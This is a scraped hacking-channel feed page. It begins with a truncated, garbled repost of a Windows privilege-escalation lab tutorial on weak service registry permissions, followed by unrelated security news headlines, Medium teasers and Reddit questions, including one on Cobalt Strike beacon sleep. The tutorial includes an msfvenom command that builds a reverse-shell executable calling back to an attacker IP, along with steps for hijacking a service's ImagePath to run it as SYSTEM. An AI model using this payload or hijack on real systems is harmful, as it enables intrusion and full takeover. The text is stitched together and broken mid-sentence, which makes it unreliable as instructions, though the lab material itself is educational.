Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Weak Registry Permission

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting misconfigured services is one technique to increase privileges.

Table of ContentIntroductionIntroductionThe registry is a system-defined database in which applications and system components store and retrieve configuration data. The registry is a hierarchical database that contains data that is critical for the operation of Windows and the applications and services that run on Windows.You can use Registry Editor to do the following actions:* Locate a subtree, key, subkey, or valueRegistry HiveA hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Note:Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user's hive contains specific registry information pertaining to the user's application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.Weak Registry PermissionMitre ID:T1574.011Tactics:Privilege Escalation & PersistencePlatforms:WindowsPrerequisiteWindows 10Attacker Machine:Kali LinuxTools: SubinACL, PowerUP.ps1, Winpeas.Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Weak Registry Key. Lab SetupRun CMD as administrator and execute the below command to create a [...]

___________________________
@hacking_Attack
@Hacking_Video

service with the name of Pentest inside /temp directory.sc.exe create pentest binPath= "C:\temp\service.exe" pentest /grant=msedgewin10\ignite=PTOTo create a vulnerable service we need to assign some toxic privilege with the help of SubinACLto change the permission of services.NOTE:SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service. The full list of the available service permissions:Step3:After downloading SubinACL, execute the following command to assign PTO Permissions user “ignite” against “Pentest” service.cd C:\Program Files (x86)\Windows Resource Kits\Tools pentest /grant=msedgewin10\ignite=PTOStep4: Explore registry pathHKLM\SYSTEM\CurrentControlSet\Services\pentest and change permission for it.

Step5:Allow FULL Control on Authenticate user.Abusing Weak Registry ServicesAn attacker can escalate privileges by exploiting Weak Registry permission if the current user has permission to alter Registry keys associated with the service.Enumerate Vulnerable Registry key using PowershellWith the help of PowerShell, you check the Access Control List (ACL) to enumerate the user privileges full [...]

___________________________
@hacking_Attack
@Hacking_Video

control upon the service registry key.Enumerate Vulnerable Registry key using WinPEASx64Even, using auto script WinPEASx64 we enumerate weak service registry which is another method post enumeration for weak configuration.Create Malicious Executable If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exehttps://blogger.googleusercontent.com/img/a/AVvXsEjjj8oQFj8yDclkgn0FmHJok6Jxu9fYaMroYKoCoBt4FQx4geQQe92rxEIx8PQ7GCyJeOd5e7AlxVnWcPIpcP1lSoiIULET1UBcxXpSInADiCfTNFYvsAVuAZtowxokHYh1PsZZndFGNNkvdIdPOXKf_CsprnlzGLmi3otcFqJRXf2i2UOpfTya55Tysg=s16000 cd c:\Users\public___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Damages Escalate Rapidly in Multi-Party Data Breaches

Analysis of the top-50 multi-party attacks over the past decade finds that nation-state-linked hackers focused on disruption and using stolen credentials cause the most damage.

Dark Reading: Attacks/Breaches
The Simmering Cybersecurity Risk of Employee Burnout

Why understanding human behavior is essential to building resilient security systems.

Dark Reading: Attacks/Breaches
Veritas Simplifies Data Backup to the Cloud While Helping Reduce Costs and Increase Ransomware Resiliency

Introducing Veritas NetBackup Recovery Vault, a Veritas-managed cloud storage service.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Data Privacy API Company Skyflow Raises $45M Series B Funding to Help Fintech and Healthtech Companies Ship Faster

Achieves 8x growth in last three quarters, and raises $70M in less than 18 months.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Former NSA Deputy Director William Crowell Joins [redacted] Board of Directors

Cybersecurity industry veteran brings substantial public and private sector experience to help guide [redacted] growth and expansion.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Winners Announced for 2021 Infosec Inspire Security Awareness Awards

Institute of International Education and Inflection Point Systems recognized for their advanced security awareness and training programs.

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame: U.S. Department of Energy
https://medium.com/@authxi/from-gabut-to-hall-of-fame-u-s-department-of-energy-917ce8792e19?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Pada kesempatan kali ini, saya akan menceritakan sedikit pengalaman saya..Continue reading on Medium » (https://medium.com/@authxi/from-gabut-to-hall-of-fame-u-s-department-of-energy-917ce8792e19?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame: U.S. Department of Energy

Pada kesempatan kali ini, saya akan menceritakan sedikit pengalaman saya..Continue reading on Medium »
Read more...

hacking: security in practice
Is it possible to wake a Cobalt Strike sleep cycle?

As the title states, is there a known way to break a beacon's sleep cycle in Cobalt Strike. Using the sleep function, we are able to create a specified time for our callback to beacon out for new requests. But in the event that your sleep time is set to far into the future, you may be waiting too long. I was hoping to find some form of wakeup command that forces the beacon to callback sooner.

submitted by /u/DarkJediSkii
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacker steals government ID database for Argentina's entire population

https://external-preview.redd.it/et_VQ74iboy0Q5EhP5k55lbYOmENBiuS66cXq2gM_G8.jpg?width=640&crop=smart&auto=webp&s=09fd0821ee3e0eb619569d3443228653e6f5e8c4 submitted by /u/Muxxer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
SHA 1 decoding

I know there are plenty of sites out there that will do a reverse look up on known hashes and give you the decoded string, but what is the tool people are using to manually decode the SHA 1?

submitted by /u/dravenhavok
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Write-Up | Leviathan 0x06

https://cdn-images-1.medium.com/max/1374/1*GmDeZFDLVcSK60wzZSd3Zw.png
Leviathan is a wargame by OverTheWire, built to practice Information Security skills.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Gitrecon para OSINT en perfiles de GITHUB

https://cdn-images-1.medium.com/max/1387/0*ck-MVp3VPadCqhYc
PUBLICADO EN 19 OCTUBRE, 2021 POR CARLOS GUTIERREZ

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video